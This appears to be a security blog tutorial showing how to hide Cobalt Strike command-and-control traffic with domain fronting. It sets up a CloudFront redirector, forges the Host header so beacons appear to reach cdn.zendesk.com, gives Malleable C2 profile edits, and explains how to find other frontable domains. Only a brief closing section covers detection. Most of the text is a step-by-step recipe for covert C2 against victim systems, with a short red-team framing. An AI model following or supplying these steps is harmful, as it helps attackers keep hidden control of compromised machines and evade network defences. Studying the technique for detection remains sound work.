using domain fronting to mask your C2 traffic
what is domain fronting?
Domain fronting is a technique in which a client conceals the true intended destination of an HTTPS request from censors and network security filters by “fronting” the request with a TLS connection to a different domain than that set in the request’s host header, both hosted on the same CDN service. In layman terms, an attacker hides an HTTPS request to a bad site inside a TLS connection to a good site.
It is usually performed by using a domain name in the SNI extension field of the TLS header that is different from that in the HTTPS Host header field. Whenever a request to a domain is performed in the browser or other TLS client, the first thing that happens is establishing the network connection where TLS negotiation starts based on the hostname used to initiate the connection. The HOST header in the application layer traffic is only parsed and looked after all the lower layers are established. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header.
Attackers and security assessors alike are utilizing this technique to mask malicious command and control (C2) traffic. This blog post explains this type of evasive offensive security operations, we will discuss and demonstrate a nuance to domain fronting, which establishes command and control (C2) channels directly to cdn.zendesk.com. We’ll further share some detection techniques that can be employed in an effort to identify this type of malicious traffic.
Attacker’s Perspective
The use of domain fronting to establish hidden C2 channels is becoming commonplace in attacker methodologies. What makes this technique so dangerous is that many solutions designed to detect attacker C2 traffic use categorization rules to identify potentially malicious channels. This means that by leveraging domain names that have already been categorized, some security technologies will allow traffic through unhindered. Furthermore, attackers can mimic legitimate traffic that will make it almost indistinguishable to normal activity on the network.
Following are steps to create an encrypted C2 channel that calls out to cdn.zendesk.com, however keep in mind that any domain with a CNAME record pointing to the Cloudfront CDN can be used as an egress channel. Identifying these domains is relatively trivial, many can be located through Google dorks such as “CNAME *.cloudfront.net”, or using DNS bruteforcing.
Step 1. Stand up a Server
In this example, i will assume that you already deployed an instance to act as Cobalt Strike Teamserver. and you already have a domain with valid SSL certificate
Step 2. Create a CloudFront instance
The process of setting up CloudFront is not too difficult, but i will save you some time by giving you the configuration details needed to make a C2 payload work. i will assume you have setup an AWS account. You will end up with a “CloudFront Distribution” that looks like this on your dashboard.
In the above picture, you can see a domain name has been provided “d1j0k3lbpify9g.cloudfront.net”. We will use this in our payload for the destination address.
To get there you’ll need to modify the origin and behaviors, here’s what your settings should looks like
make sure you chose All for Caching settings as we don’t want CloudFront to cache our traffic but instead forwarded to our C2 server.
now that we have a CloudFront instance running and pointing to our C2 server, let’s first test it before taking any actions.
let’s first host a file using CobaltStrike and see if we can access it using the CloudFront instance we have created
now that we have our file hosted, let’s try to access it using the CloudFront instance
Awesome, that’s mean our CloudFront redirector is working as intended.
now what happens if we try to access the file using a High-reputation domain like cdn.zendesk.com ?
Nothing. that’s simply because we don’t have control over cdn.zendesk.com, however we can forge the Host header to the FQDN of our CloudFront distribution. In this case, we get back the text file.
Neat!, this is exactly what Domain Fronting is all about. now we want to configure our CobaltStrike Beacon to call back home through this High-reputation domain.
Step 3. Edit Malleable C2 profile of your choice
we need to edit our Malleable C2 profile to add the Host header which points to our CloudFront distribution.
http-get {
client {
header “Host” “[your distribution].cloudfront.net”;
Make sure you do this in both the http-get -> client and http-post -> client Malleable C2 blocks.
http-post {
client {
header “Host” “[your distribution].cloudfront.net”;
Step 4. Deploy CobaltStrike beacon
With a valid C2 profile created and tested, we will start up our Cobalt Strike Teamserver. Next, we will set up a Cobalt Strike listener. we will set the Hosts as cdn.zendesk.com so every time our CobaltStrike beacon for tasks it will reach out to cdn.zendesk.com
Step 5. Create a Beacon to execute on the target system
Once the above command is executed on the target system we see the following web requests and resulting beacon in our Cobalt Strike client.
on the victim side we can see that our Beacon is calling back to cdn.zendesk.com for downloading it’s tasks.
Defender’s Perspective
At first glance, C2 domain fronting appears to be very difficult to detect. however a proxy server is a powerful defence against domain fronting. by configuring it to intercept TLS traffic so that the HTTP 1.1 host header matches the URL domain. If there’s a mismatch, you can overwrite the domain and log the action. You can also create rules to raise alerts for mismatches.
Ensure that there are no dangling DNS- or CDN- fronted resources that the CDN would route to an origin host that is not present. For malware protection, incorporate defensive techniques like strong host security, application whitelisting, and code signing. Encrypt all data in the cloud, and store the encryption keys safely.
